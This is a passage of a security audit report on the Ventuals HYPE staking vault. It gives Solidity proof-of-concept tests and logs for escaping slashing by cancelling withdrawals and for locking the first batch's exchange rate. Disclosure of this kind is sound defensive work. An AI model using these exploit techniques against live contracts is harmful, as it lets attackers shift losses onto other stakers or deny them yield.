



Ventuals Protocol Audit Report, Cantina Bug Bounty Program, 2026

v1.0

Tanu Gupta

February 3, 2026

Ventuals Protocol

Tanu Gupta

February 3, 2026

Prepared by: Tanu Gupta

Lead Security Researcher:

- Tanu Gupta

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
 - H-01: Users Can Escape Slashing by Canceling Withdrawals During Queue Period
 - * Summary
 - * Finding Description
 - * Root Cause
 - * Impact Explanation

- * Likelihood Explanation
 - * Proof of Concept
 - * Recommendation
- Medium
 - M-01: First Batch Exchange Rate Lock Causes Complete Loss of Staking Yield for Early Users
 - * Summary
 - * Finding Description
 - * Root Cause
 - * Impact Explanation
 - * Likelihood Explanation
 - * Proof of Concept
 - * Recommendation
 - M-02: Lack of Slippage Protection Enables MEV Exploitation on All Deposits
 - * Summary
 - * Finding Description
 - * Impact Explanation
 - * Likelihood Explanation
 - * Proof of Concept
 - * Recommendation

Protocol Summary

Ventuals is creating a HYPE liquid staking token (vHYPE) to raise the minimum stake requirement for HIP-3 mainnet deployment (currently 500k HYPE). Contributors deposit HYPE into the vault and receive vHYPE, a fully transferable ERC20 that represents a claim on their underlying principal.

Any additional HYPE deposited provides a **liquidity buffer**, enabling contributors to withdraw without reducing the validator stake below the 500k minimum. The vault has no deposit cap, and contributors can deposit any amount of HYPE at any time. Contributors may also withdraw at any time, provided the 500k minimum stake is maintained.

All native staking yield accrues automatically to vHYPE holders and is reflected in the vHYPE/HYPE exchange rate.

Disclaimer

I Tanu Gupta, make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I've used the Cantina severity matrix to determine severity. See the documentation for more details.

Audit Details

The audit was conducted from Jan 30, 2026 to Feb 3, 2026. The audit was conducted as part of the bug bounty program for Ventuals conducted by Cantina.

Scope

The audit was conducted on the following contracts:

- StakingVault
- StakingVaultManager
- RoleRegistry
- ./libraries/
- ./interfaces/

Roles

The roles were determined by the following:

- OWNER: The owner of the contract.
- MANAGER: Can deposit, withdraw, delegate, and transfer HYPE on behalf of the vault.
- OPERATOR: Handles automated, day-to-day protocol operations (e.g. transferring HYPE from HyperEVM to HyperCore, rotating the StakingVault's API wallets).

Executive Summary

The audit corresponds to the codebase at the following repository: [ventuals/ventuals-contracts](#).

Issues found

I found one valid vulnerability in the codebase though other vulnerabilities were found but they were not deemed to be valid by the team.

Below is a valid vulnerability found in the codebase:

- M-01: First Batch Exchange Rate Lock Causes Complete Loss of Staking Yield for Early Users

Findings

High

H-01: Users Can Escape Slashing by Cancelling Withdrawals During Queue Period

Summary

Users can exploit the **withdrawal cancellation** mechanism to escape slashing penalties by monitoring the vault's exchange rate and cancelling their withdrawals if a slash occurs before their withdrawal is processed into a batch.

This gives a **free option** to users with monitoring capabilities to pass on their losses to other stakes while avoiding losses themselves, thus undermining the fairness of the slashing system.

Finding Description

The protocol allows users to cancel their withdrawal requests at any time before they are processed into a batch via the `cancelWithdraw()` function.

After detecting a slashing event, users could easily protect themselves by cancelling their withdrawal request, and there is no restriction preventing users from doing so.

This creates an exploitable window where users can:

1. Queue a withdrawal when the exchange rate is favorable
2. Monitor the HyperCore L1 for slashing events
3. Cancel their withdrawal if a slash occurs and the exchange rate drops
4. Wait for the exchange rate to recover from future staking rewards
5. Re-queue their withdrawal at a better rate

Users would have enough time to detect a slash and cancel their withdrawal before it gets processed into a batch.

Root Cause

`cancelWithdraw` at L252-270

```

1  function cancelWithdraw(uint256 withdrawId) external whenNotPaused {
2      Withdraw storage withdraw = withdraws[withdrawId];
3      require(msg.sender == withdraw.account, NotAuthorized());
4      require(withdraw.cancelledAt == 0, WithdrawCancelled());
5      require(withdraw.batchIndex == type(uint256).max, WithdrawProcessed
6         ()); // Only checks if processed
7
8      // Remove from the linked list
9      withdrawQueue.remove(withdrawId);
10
11     // Set cancelled timestamp
12     withdraw.cancelledAt = block.timestamp;
13
14     // Refund vHYPE
15     uint256 vHYPEAmount = withdraw.vHYPEAmount;
16     bool success = vHYPE.transfer(msg.sender, vHYPEAmount);
17     require(success, TransferFailed(msg.sender, vHYPEAmount));
18
19     emit CancelWithdraw(msg.sender, withdrawId, withdraw);
}
```

The root cause is the lack of any constraint that prevents cancellation after adverse events like slashing happens. The above function does not:

1. impose a tiny window after which cancellation is not allowed
2. penalizes users for cancelling, which would disincentivize other users
3. check if slashing has happened since the withdrawal was queued

Impact Explanation

1. There is a direct financial impact on users

For example:

- Vault: \$10M TVL
- Slash event happened: 10% loss => \$1M loss
- Withdrawal Queue: 20% of supply => \$2M worth
- If 50% of the users escape/cancel the withdrawal request: \$1M in withdrawals cancelled

Result:

- Escapers (50%) avoid \$100K loss
- Non escapers (50%) absorb \$200K loss

Per-user impact: Individual users can lose 10-50% more than they should.

2. Adverse spiral effect
 - Sophisticated users escape, leading to concentrated losses.
 - Other users learn they're being "dumped on"
 - Future slashes => more escapers
 - Eventually everyone tries to escape => bank run
 - Only the slowest/uninformed bear ALL losses

Likelihood Explanation

1. Slashing events will occur as validator misbehavior is inevitable
2. No special permission is required
3. Easily executable via MEV bots
4. Profitable for any amount as long as losses are avoided

Proof of Concept

Paste the following code in StakingVaultManager.t.sol for simulating the issue

```

1  function test_SlashEscape_AttackerCancelsAfterSlash() public
2      withExcessStakeBalance {
3          address attacker = makeAddr("attacker");
4          address victim = makeAddr("victim");
5
6          // Mock HyperCore accounts exist
7          hl.mockCoreUserExists(attacker, true);
8          hl.mockCoreUserExists(victim, true);
9
10         // Both attacker and victim deposit
11         uint256 depositAmount = 5_000 * 1e18;
12         vm.deal(attacker, depositAmount);
13         vm.deal(victim, depositAmount);
14
15         vm.prank(attacker);
16         stakingVaultManager.deposit{value: depositAmount}();
17
18         vm.prank(victim);
19         stakingVaultManager.deposit{value: depositAmount}();
20
21         uint256 initialRate = stakingVaultManager.exchangeRate();
22         uint256 attackerVHYPE = vHYPE.balanceOf(attacker);
23         uint256 victimVHYPE = vHYPE.balanceOf(victim);
24
25         // BOTH QUEUE WITHDRAWALS (Victim first, then attacker)
26         vm.prank(victim);
27         vHYPE.approve(address(stakingVaultManager), victimVHYPE);
28         vm.prank(victim);
29         uint256[] memory victimWithdrawIds = stakingVaultManager.
30             queueWithdraw(victimVHYPE);
31
32         vm.prank(attacker);
33         vHYPE.approve(address(stakingVaultManager), attackerVHYPE);
34         vm.prank(attacker);
35         uint256[] memory attackerWithdrawIds = stakingVaultManager.
36             queueWithdraw(attackerVHYPE);
37
38         // Verify both can still cancel
39         IStakingVaultManager.Withdraw memory attackerWithdraw =
40             stakingVaultManager.getWithdraw(attackerWithdrawIds[0]);
41         assertEq(attackerWithdraw.batchIndex, type(uint256).max, "
42             Should be cancellable");
43
44         // SIMULATE SLASHING EVENT (10% loss)
45         console.log("SLASHING EVENT OCCURS!");
46         console.log("Validator misbehaves, vault loses 10%");
47
48         // Get current state and slash by 10%

```

```

46     L1ReadLibrary.DelegatorSummary memory currentSummary =
47         stakingVault.delegatorSummary();
48     uint64 slashedDelegated = uint64((currentSummary.delegated *
49         90) / 100);
50
51     // Mock the slashed state
52     hl.mockDelegatorSummary(
53         address(stakingVault),
54         L1ReadLibrary.DelegatorSummary({
55             delegated: slashedDelegated,
56             undelegated: currentSummary.undelegated,
57             totalPendingWithdrawal: currentSummary.
58                 totalPendingWithdrawal,
59             nPendingWithdrawals: currentSummary.nPendingWithdrawals
60         })
61     );
62
63     // Update delegation
64     hl.mockDelegation(
65         address(stakingVault),
66         L1ReadLibrary.Delegation({
67             validator: validator,
68             amount: slashedDelegated,
69             lockedUntilTimestamp: uint64((block.timestamp + 1 days)
70                 * 1000)
71         })
72     );
73
74     uint256 postSlashRate = stakingVaultManager.exchangeRate();
75     uint256 rateDrop = ((initialRate - postSlashRate) * 100) /
76         initialRate;
77
78     console.log("After Slashing:");
79     console.log("=> New Exchange Rate: %e", postSlashRate);
80     console.log("=> Rate Drop: %s%%", rateDrop);
81     console.log("=> Total Vault Balance: %e\n", stakingVaultManager
82         .totalBalance());
83
84     // Calculate expected losses
85     uint256 attackerExpectedAtOldRate = (attackerVHYPE *
86         initialRate) / 1e18;
87     uint256 attackerExpectedAtNewRate = (attackerVHYPE *
88         postSlashRate) / 1e18;
89     uint256 potentialLoss = attackerExpectedAtOldRate -
90         attackerExpectedAtNewRate;
91
92     console.log("Attacker's Dilemma:");
93     console.log("- Would receive at old rate: %e HYPE",
94         attackerExpectedAtOldRate);
95     console.log("- Would receive at new rate: %e HYPE",
96         attackerExpectedAtNewRate);

```

```

86     console.log("- Potential Loss if proceeds: %e HYPE\n",
87             potentialLoss);
88
89     // ATTACKER DETECTS AND CANCELS
90     console.log("ATTACKER MONITORS AND ESCAPES!");
91     console.log("- Attacker's bot detects exchange rate drop");
92     console.log("- Attacker calls cancelWithdraw()\n");
93
94     vm.prank(attacker);
95     stakingVaultManager.cancelWithdraw(attackerWithdrawIds[0]);
96
97     uint256 attackerRefundedVHYPE = vHYPE.balanceOf(attacker);
98
99     console.log("Attacker Successfully Cancels:");
100    console.log("- Refunded vHYPE: %e", attackerRefundedVHYPE);
101    console.log("- Escaped Loss: %e HYPE", potentialLoss);
102    console.log("- Status: SAFE - Can wait for rate recovery\n");
103
104    // VICTIM DOESN'T CANCEL (uninformed user)
105    console.log("VICTIM PROCEEDS (unaware of slash):");
106    console.log("- Victim doesn't monitor exchange rate");
107    console.log("- Withdrawal remains in queue\n");
108
109    // Time passes, batch gets processed
110    warp(block.timestamp + 1 days);
111
112    console.log("Batch Processing:");
113    uint256 numProcessed = stakingVaultManager.processBatch(type(
114        uint256).max);
115    console.log("- Processed withdrawals:", numProcessed);
116
117    // Verify victim's withdrawal was processed
118    IStakingVaultManager.Withdraw memory victimWithdrawAfterProcess =
119        stakingVaultManager.getWithdraw(victimWithdrawIds[0]);
120    assertEq(victimWithdrawAfterProcess.batchIndex, 0, "Victim
121        withdrawal should be in batch 0");
122
123    stakingVaultManager.finalizeBatch();
124    console.log("- Batch finalized at snapshot rate\n");
125
126    // OWNER APPLIES SLASH TO BATCH
127    console.log("Owner Applies Slash:");
128    console.log("- Owner detects slashing event on HyperCore");
129    console.log("- Calls applySlash() to adjust batch exchange rate
130        \n");
131
132    vm.prank(owner);
133    stakingVaultManager.applySlash(0, postSlashRate);
134
135    console.log("Slash Applied:");

```

```

132     console.log("- Batch exchange rate adjusted to: %e",
133         postSlashRate);
134     console.log("- Victim will receive even LESS due to slash
135         adjustment\n");
136     // Wait 7 days + claimWindowBuffer for withdrawal to be
137     // claimable
138     uint256 claimWindowBuffer = stakingVaultManager.
139         claimWindowBuffer();
140     warp(block.timestamp + 7 days + claimWindowBuffer + 1);
141
142     // Victim claims
143     vm.prank(victim);
144     stakingVaultManager.claimWithdraw(victimWithdrawIds[0], victim)
145         ;
146
147     uint256 victimExpectedWithoutSlash = (victimVHYPE * initialRate
148         ) / 1e18;
149     uint256 victimExpectedAtSlashedRate = (victimVHYPE *
150         postSlashRate) / 1e18;
151     uint256 victimActualLoss = victimExpectedWithoutSlash -
152         victimExpectedAtSlashedRate;
153
154     console.log("Victim Claims:");
155     console.log("- Expected without slash: %e HYPE",
156         victimExpectedWithoutSlash);
157     console.log("- Expected at slashed rate: %e HYPE",
158         victimExpectedAtSlashedRate);
159     console.log("- Actual Loss: %e HYPE", victimActualLoss);
160     console.log("- Loss percentage: %s%%\n", rateDrop);
161
162     // VERIFY EXPLOIT SUCCESS
163     console.log("EXPLOIT SUCCESSFUL");
164     console.log("- Attacker: Escaped with %e vHYPE, avoided %s%%
165         loss", attackerRefundedVHYPE, rateDrop);
166     console.log("- Victim: Suffered FULL %s%% loss = %e HYPE",
167         rateDrop, victimActualLoss);
168     console.log("- Outcome: Sophisticated user escaped, uninformed
169         user bore the slash");
170     console.log("- Attacker can re-queue later when rate recovers
171         from staking rewards\n");
172
173     // Assertions
174     assertGt(attackerRefundedVHYPE, 0, "Attacker should have vHYPE"
175         );
176     assertEq(attackerRefundedVHYPE, attackerVHYPE, "Attacker should
177         get full refund");
178
179     // the point is the withdrawal was processed and attacker
180     // escaped
181     IStakingVaultManager.Withdraw memory finalVictimWithdraw =

```

```

166     stakingVaultManager.getWithdraw(victimWithdrawIds[0]);
167     assertTrue(finalVictimWithdraw.claimedAt > 0, "Victim
168     withdrawal should be claimed");
169     assertEquals(finalVictimWithdraw.batchIndex, 0, "Victim should be
170     in batch 0");
171 }
```

Log Results

```

1 SLASHING EVENT OCCURS!
2 Validator misbehaves, vault loses 10%
3 After Slashing:
4 => New Exchange Rate: 901639344262295081
5 => Rate Drop: 9
6 => Total Vault Balance: 55000000000000000000000000000000
7 Attacker's Dilemma:
8 - Would receive at old rate: 5e21 HYPE
9 - Would receive at new rate: 4.508196721311475405e21 HYPE
10 - Potential Loss if proceeds: 4.91803278688524595e20 HYPE
11
12 ATTACKER MONITORS AND ESCAPES!
13 - Attacker's bot detects exchange rate drop
14 - Attacker calls cancelWithdraw()
15
16 Attacker Successfully Cancels:
17 - Refunded vHYPE: 5e21
18 - Escaped Loss: 4.91803278688524595e20 HYPE
19 - Status: SAFE - Can wait for rate recovery
20
21 VICTIM PROCEEDS (unaware of slash):
22 - Victim doesn't monitor exchange rate
23 - Withdrawal remains in queue
24
25 Batch Processing:
26 - Processed withdrawals: 1
27 - Batch finalized at snapshot rate
28
29 Owner Applies Slash:
30 - Owner detects slashing event on HyperCore
31 - Calls applySlash() to adjust batch exchange rate
32
33 Slash Applied:
34 - Batch exchange rate adjusted to: 9.01639344262295081e17
35 - Victim will receive even LESS due to slash adjustment
36
37 Victim Claims:
38 - Expected without slash: 5e21 HYPE
39 - Expected at slashed rate: 4.508196721311475405e21 HYPE
40 - Actual Loss: 4.91803278688524595e20 HYPE
41 - Loss percentage: 9%
42
```

```

43  === EXPLOIT SUCCESSFUL ===
44  - Attacker: Escaped with 5e21 vHYPE, avoided 9% loss
45  - Victim: Suffered FULL 9% loss = 4.91803278688524595e20 HYPE
46  - Outcome: Sophisticated user escaped, uninformed user bore the slash
47  - Attacker can re-queue later when rate recovers from staking rewards

```

Recommendation

1. Time-based cancellation window: Implement a strict cancellation window (e.g., 1 hour) after queueing, after which withdrawals cannot be canceled:

```

1 function cancelWithdraw(uint256 withdrawId) external whenNotPaused {
2     Withdraw storage withdraw = withdraws[withdrawId];
3     require(msg.sender == withdraw.account, NotAuthorized());
4     require(withdraw.cancelledAt == 0, WithdrawCancelled());
5     require(withdraw.batchIndex == type(uint256).max, WithdrawProcessed
6         ());
7     // +++++ Enforce cancellation window ++++++
8     require(
9         block.timestamp <= withdraw.queuedAt + 1 hours,
10        CancellationWindowExpired()
11    );
12
13    // ... rest of function
14 }

```

2. Apply a small penalty (e.g., 1-2%) on cancellation to disincentivize slashing mechanism
3. Track slashing events and prevent cancellation after slash detection

Medium

M-01: First Batch Exchange Rate Lock Causes Complete Loss of Staking Yield for Early Users

Summary

The protocol allows anyone to process a batch immediately upon launch, which snapshots the initial exchange rate (1.0) and locks it for that batch.

All users who queue withdrawals in the first batch would receive **0 staking yield** and, in some cases, even take principal losses if they deposited after rewards began accruing.

Finding Description

The fundamental promise of the Ventuals LST is stated in the README:

“Native yield: All native staking yield accrues proportionally to vHYPE holders.”

However, this promise is **completely broken** for all users withdrawing in the first batch due to an exchange rate lock vulnerability.

When the first batch is created, which anyone can do immediately at launch without restrictions, the exchange rate is locked at 1.0. Regardless of the actual amount of staking yield accumulated, this results in subsequent withdrawals intended to be processed into the first batch stuck at 1.0 rate.

Users who hold vHYPE for a long time, during which the protocol earns substantial staking rewards, end up receiving the exact same amount of HYPE they originally deposited when withdrawing. They earn **zero yield** despite the protocol earning and other users receiving rewards.

This is not just **unfair** - it's a complete negation of the LST's core purpose.

Even worse: Users who deposit AFTER rewards start accruing (e.g., at rate 1.005) but before the first batch is created, then withdraw from the first batch locked at 1.0, actually **lose principal** - receiving less HYPE than they deposited.

Root Cause

The vulnerability exists because

1. there are no timing restriction on the creation of first batch
2. there is no minimum withdrawal requirement; a batch can be created even with empty queue
3. anyone can call `processBatch()` to trigger batch creation

This combination results in a situation where:

- Batch created at rate 1.0 on Day 0
- Protocol earns 8% rewards over 30 days (rate should be 1.08)
- Users queuing withdrawals on Day 30 expecting 1.08 rate
- But they're assigned to first batch still locked at 1.0
- **Users receive 0% yield instead of expected 8%**

Impact Explanation

1. 100% loss of staking yield for early users

2. Breaks core LST promise (“native yield accrues”)
3. Can cause principal loss for users depositing after initial rewards
4. Affects all early adopters (most valuable users)

For protocol with \$10M TVL where first batch lasts 30 days:

- **Expected yield distribution:** \$800,000 (8% over 30 days)
- **Actual yield to first batch users:** \$0
- **Total user loss over first batch:** \$800,000

Likelihood Explanation

1. Anyone can call processBatch() (permissionless)
2. No restrictions on first batch creation
3. Is easily executable

Proof of Concept

Paste the following test cases in the StakingVaultManager.t.sol for simulating the issue:

1. Demonstrating users in first batch receive 0 staking yield due to rate lock

```

1  function test_FirstBatchZeroYield_CompleteYieldLoss() public
2      withExcessStakeBalance {
3          address attacker = makeAddr("attacker");
4          address victim = makeAddr("victim");
5
6          // Mock HyperCore accounts
7          hl.mockCoreUserExists(attacker, true);
8          hl.mockCoreUserExists(victim, true);
9
10         // ===== SETUP: Victim deposits at protocol launch (rate 1.0)
11         =====
12         uint256 depositAmount = 5_000 * 1e18; // Use 5k to avoid
13             withdrawal splitting
14         vm.deal(victim, depositAmount);
15
16         uint256 initialRate = stakingVaultManager.exchangeRate();
17         console.log("DAY 0: Protocol Launch");
18         console.log("- Current Exchange Rate: %e (1.0)", initialRate);
19         console.log("- Total Balance: %e HYPE\n", stakingVaultManager.
20             totalBalance());
21
22         // Victim deposits at launch
23         vm.prank(victim);
24 }
```

```

20         stakingVaultManager.deposit{value: depositAmount}();
21
22         uint256 victimVHYPE = vHYPE.balanceOf(victim);
23
24         console.log("DAY 0: Victim Deposits");
25         console.log("- Deposit amount: 5,000 HYPE");
26         console.log("- vHYPE received: %e", victimVHYPE);
27         console.log("- Exchange rate: %e", initialRate);
28         console.log("- Victim expects to earn staking yield over time\n");
29
30         assertEq(initialRate, 1e18, "Initial rate should be 1.0");
31         assertEq(victimVHYPE, depositAmount, "Should receive 5,000
32             vHYPE at 1:1");
33
34         // ATTACKER CREATES EMPTY FIRST BATCH TO LOCK THE RATE
35         console.log("DAY 0 (moments later): Attacker Locks Rate");
36         console.log("- Attacker calls processBatch() with empty queue");
37         ;
38         console.log("- Creates Batch #0 with snapshot rate = 1.0");
39
40         vm.prank(attacker);
41         uint256 processed = stakingVaultManager.processBatch(type(
42             uint256).max);
43
44         IStakingVaultManager.Batch memory batch0 = stakingVaultManager.
45             getBatch(0);
46
47         console.log("First Batch Created:");
48         console.log("- Batch Index: 0");
49         console.log("- Snapshot Exchange Rate: %e (LOCKED!)", batch0.
50             snapshotExchangeRate);
51         console.log("- vHYPE Processed: %s", processed);
52
53         assertEq(batch0.snapshotExchangeRate, 1e18, "Snapshot locked at
54             1.0");
55         assertEq(batch0.vhypeProcessed, 0, "Batch is empty");
56         assertEq(processed, 0, "No withdrawals processed");
57
58         // TIME PASSES, STAKING REWARDS ACCUMULATE
59         console.log("DAYS 1-30: Time Passes, Rewards Accumulate");
60
61         // Fast forward 30 days
62         warp(block.timestamp + 30 days);
63
64         // Mock staking rewards: 8% increase in delegated amount (
65             WITHOUT minting new vHYPE)
66         L1ReadLibrary.DelegatorSummary memory currentSummary =
67             stakingVault.delegatorSummary();
68         uint64 newDelegated = uint64((currentSummary.delegated * 108) /
69             100); // +8%

```

```

61
62     _mockDelegations(validator, newDelegated);
63
64     uint256 currentRate = stakingVaultManager.exchangeRate();
65     uint256 rateIncrease = currentRate > initialRate ? ((
66         currentRate - initialRate) * 100) / initialRate : 0;
67     uint256 newTotalBalance = stakingVaultManager.totalBalance();
68
69     console.log("- Days passed: 30");
70     console.log("- New Total Balance: %e HYPE", newTotalBalance);
71     console.log("- Current live exchange rate: %e", currentRate);
72     console.log("- Rate increase: %s%%", rateIncrease);
73     console.log("- Victim's vHYPE now worth: %e HYPE at current
74         rate\n", (victimVHYPE * currentRate) / 1e18);
75
76     uint256 expectedAtCurrentRate = (victimVHYPE * currentRate) / 1
77         e18;
78     uint256 expectedYield = expectedAtCurrentRate - depositAmount;
79
80     console.log("Victim's Expectation:");
81     console.log("- Original deposit: 5,000 HYPE");
82     console.log("- Expected withdrawal: %e HYPE",
83         expectedAtCurrentRate);
84     console.log("- Expected yield: %e HYPE (%s%%)\n", expectedYield
85         , rateIncrease);
86
87     // VICTIM QUEUES WITHDRAWAL
88     console.log("DAY 30: Victim Queues Withdrawal");
89     console.log("- Victim held vHYPE for 30 days");
90     console.log("- Victim sees current rate: %e", currentRate);
91     console.log("- Victim queues withdrawal expecting yield\n");
92
93     vm.prank(victim);
94     vHYPE.approve(address(stakingVaultManager), victimVHYPE);
95     vm.prank(victim);
96     uint256[] memory withdrawIds = stakingVaultManager.
97         queueWithdraw(victimVHYPE);
98
99     console.log("Withdrawal Queued:");
100    console.log("- Withdraw ID: %s", withdrawIds[0]);
101    console.log("- vHYPE amount: %e\n", victimVHYPE);
102
103    // WITHDRAWAL PROCESSED AT LOCKED RATE
104    warp(block.timestamp + 1 days);
105    stakingVaultManager.processBatch(type(uint256).max);
106
107    IStakingVaultManager.Withdraw memory withdrawal =
108        stakingVaultManager.getWithdraw(withdrawIds[0]);
109    batch0 = stakingVaultManager.getBatch(0);

```

```

105
106     uint256 actualHYPEAmount = (withdrawal.vhypeAmount * batch0.
107         snapshotExchangeRate) / 1e18;
108
109     console.log("- Withdrawal assigned to Batch: %s", withdrawal.
110         batchIndex);
111     console.log("- Batch snapshot rate: %e (STILL 1.0!)", batch0.
112         snapshotExchangeRate);
113     console.log("- Current live rate: %e (ignored!)",
114         stakingVaultManager.exchangeRate());
115     console.log("- vHYPE withdrawn: %e", withdrawal.vhypeAmount);
116     console.log("- HYPE to receive: %e\n", actualHYPEAmount);

117     assertEq(withdrawal.batchIndex, 0, "Should be in first batch");
118     assertEq(batch0.snapshotExchangeRate, 1e18, "Rate STILL locked
119         at 1.0");

120     // The actual HYPE amount should equal the vHYPE amount (since
121         rate is 1.0)
122     assertEq(actualHYPEAmount, withdrawal.vhypeAmount, "At rate
123         1.0, HYPE equals vHYPE");
124     assertLt(actualHYPEAmount, expectedAtCurrentRate, "Victim gets
125         less than at current rate");

126     // CALCULATE VICTIM'S DEVASTATING LOSS
127     uint256 lostYield = expectedAtCurrentRate - actualHYPEAmount;
128     uint256 lossPercentage = (lostYield * 100) /
129         expectedAtCurrentRate;

130     console.log("VICTIM'S LOSSES");
131     console.log("- Expected at current rate: %e HYPE",
132         expectedAtCurrentRate);
133     console.log("- Actual at locked rate: %e HYPE",
134         actualHYPEAmount);
135     console.log("- Lost yield: %e HYPE", lostYield);
136     console.log("- Loss percentage: %s%% of expected return",
137         lossPercentage);

138     console.log("EXPLOIT SUCCESSFUL");
139     console.log("- Victim held vHYPE for 30 days");
140     console.log("- Protocol earned 8% staking rewards");
141     console.log("- Victim received 0% yield [LOSS]");
142     console.log("- Victim's vHYPE was worthless for yield
143         generation");

144     // Assertions
145     assertGt(lostYield, 0, "Victim should have lost yield");
146     assertGt(currentRate, batch0.snapshotExchangeRate, "Current
147         rate higher than locked");

148     // Victim receives at locked rate, losing ALL accumulated yield

```

```

142         assertTrue(
143             actualHYPEAmount < expectedAtCurrentRate, "CRITICAL: User
144             receives less than fair value due to rate lock"
145         );
146         // Lost yield is 100% of expected yield (gets 0% of rewards)
147         assertApproxEqRel(lostYield, expectedYield, 0.01e18, "100% loss
148             ");
149     }

```

Logs:

```

1 DAY 0: Protocol Launch
2   - Current Exchange Rate: 1e18 (1.0)
3   - Total Balance: 6e23 HYPE
4
5 DAY 0: Victim Deposits
6   - Deposit amount: 5,000 HYPE
7   - vHYPE received: 5e21
8   - Exchange rate: 1e18
9   - Victim expects to earn staking yield over time
10
11 DAY 0 (moments later): Attacker Locks Rate
12   - Attacker calls processBatch() with empty queue
13   - Creates Batch #0 with snapshot rate = 1.0
14 First Batch Created:
15   - Batch Index: 0
16   - Snapshot Exchange Rate: 1e18 (LOCKED!)
17   - vHYPE Processed: 0
18 DAYS 1-30: Time Passes, Rewards Accumulate
19   - Days passed: 30
20   - New Total Balance: 6.53e23 HYPE
21   - Current live exchange rate: 1.079338842975206611e18
22   - Rate increase: 7%
23   - Victim's vHYPE now worth: 5.396694214876033055e21 HYPE at current
      rate
24
25 Victim's Expectation:
26   - Original deposit: 5,000 HYPE
27   - Expected withdrawal: 5.396694214876033055e21 HYPE
28   - Expected yield: 3.96694214876033055e20 HYPE (7%)
29
30 DAY 30: Victim Queues Withdrawal
31   - Victim held vHYPE for 30 days
32   - Victim sees current rate: 1.079338842975206611e18
33   - Victim queues withdrawal expecting yield
34
35 Withdrawal Queued:
36   - Withdraw ID: 1
37   - vHYPE amount: 5e21
38

```

```

39  DAY 31: Withdrawal Processed Into First Batch
40  - Withdrawal assigned to Batch: 0
41  - Batch snapshot rate: 1e18 (STILL 1.0!)
42  - Current live rate: 1.079338842975206611e18 (ignored!)
43  - vHYPE withdrawn: 5e21
44  - HYPE to receive: 5e21
45
46  VICTIM'S LOSSES
47  - Expected at current rate: 5.396694214876033055e21 HYPE
48  - Actual at locked rate: 5e21 HYPE
49  - Lost yield: 3.96694214876033055e20 HYPE
50  - Loss percentage: 7% of expected return
51  EXPLOIT SUCCESSFUL
52  - Victim held vHYPE for 30 days
53  - Protocol earned 8% staking rewards
54  - Victim received 0% yield [LOSS]
55  - Victim's vHYPE was worthless for yield generation

```

2. Demonstrating user can even lose **principal** if depositing after rewards accumulate

```

1  function test_FirstBatchZeroYield_PrincipalLoss() public
2      withExcessStakeBalance {
3          address attacker = makeAddr("attacker");
4          address victim = makeAddr("victim");
5
6          hl.mockCoreUserExists(attacker, true);
7          hl.mockCoreUserExists(victim, true);
8
9          uint256 initialRate = stakingVaultManager.exchangeRate();
10         console.log("DAY 0: Protocol Launches");
11         console.log("- Initial exchange rate: %e", initialRate);
12         console.log("- Total balance: %e HYPE\n", stakingVaultManager.
13             totalBalance());
14
15         // ATTACKER CREATES EMPTY FIRST BATCH TO LOCK THE RATE
16         console.log("DAY 0: Attacker Creates Empty First Batch");
17         vm.prank(attacker);
18         stakingVaultManager.processBatch(type(uint256).max);
19
20         IStakingVaultManager.Batch memory batch0 = stakingVaultManager.
21             getBatch(0);
22         console.log("- Batch #0 created with rate: %e (LOCKED)", batch0.
23             snapshotExchangeRate());
24
25         assertEq(batch0.snapshotExchangeRate, 1e18, "Snapshot locked at
26             1.0");
27
28         // REWARDS ACCUMULATE
29         console.log("DAYS 1-5: Early Rewards Accumulate");
30         warp(block.timestamp + 5 days);

```

```

27     // Mock 0.5% rewards (increase delegated amount only
28     L1ReadLibrary.DelegatorSummary memory currentSummary =
29         stakingVault.delegatorSummary();
30     uint64 newDelegated = uint64((currentSummary.delegated * 1005) /
31         1000); // +0.5%
32
33     _mockDelegations(validator, newDelegated);
34
35     uint256 rateAfterRewards = stakingVaultManager.exchangeRate();
36     uint256 newTotalBalance = stakingVaultManager.totalBalance();
37
38     console.log("- Days passed: 5");
39     console.log("- Rewards accumulated: 0.5%");
40     console.log("- New total balance: %e HYPE", newTotalBalance);
41     console.log("- Current exchange rate: %e\n", rateAfterRewards);
42
43     assertGt(rateAfterRewards, 1e18, "Rate should have increased");
44
45     // VICTIM DEPOSITS AT HIGHER RATE
46     console.log("DAY 5: Victim Deposits (Unaware of Rate Lock)");
47
48     uint256 depositAmount = 5_000 * 1e18;
49     vm.deal(victim, depositAmount);
50
51     vm.prank(victim);
52     stakingVaultManager.deposit{value: depositAmount}();
53
54     uint256 victimVHYPE = vHYPE.balanceOf(victim);
55
56     console.log("- Deposit amount: 5,000 HYPE");
57     console.log("- Exchange rate at deposit: %e", rateAfterRewards);
58     console.log("- vHYPE received: %e", victimVHYPE);
59     console.log("- Cost basis: 5,000 HYPE\n");
60
61     assertLt(victimVHYPE, depositAmount, "Should receive less vHYPE
62         at higher rate");
63
64     // VICTIM WITHDRAWS AT LOCKED RATE
65     console.log("DAY 30: Victim Queues Withdrawal");
66     warp(block.timestamp + 25 days);
67
68     vm.prank(victim);
69     vHYPE.approve(address(stakingVaultManager), victimVHYPE);
70     vm.prank(victim);
71     uint256[] memory withdrawIds = stakingVaultManager.queueWithdraw(
72         victimVHYPE);
73
74     warp(block.timestamp + 1 days);
75     stakingVaultManager.processBatch(type(uint256).max);
76
77     ISTakingVaultManager.Withdraw memory withdrawal =

```

```

74     stakingVaultManager.getWithdraw(withdrawIds[0]);
75     batch0 = stakingVaultManager.getBatch(0);
76
77     uint256 receivedHYPE = (withdrawal.vhypeAmount * batch0.
78                             snapshotExchangeRate) / 1e18;
79     uint256 principalLoss = depositAmount - receivedHYPE;
80
81     console.log("Withdrawal Processed:");
82     console.log("- Assigned to Batch #0");
83     console.log("- Locked rate: %e (still 1.0!)", batch0.
84                 snapshotExchangeRate);
85     console.log("- vHYPE withdrawn: %e", withdrawal.vhypeAmount);
86     console.log("- HYPE received: %e\n", receivedHYPE);
87
88     console.log("PRINCIPAL LOSS");
89     console.log("- Original deposit: 5,000 HYPE");
90     console.log("- HYPE received: %e", receivedHYPE);
91     console.log("- NET LOSS: %e HYPE", principalLoss);
92     console.log("- Loss percentage: %s%\n", (principalLoss * 1000)
93                  / depositAmount);
94
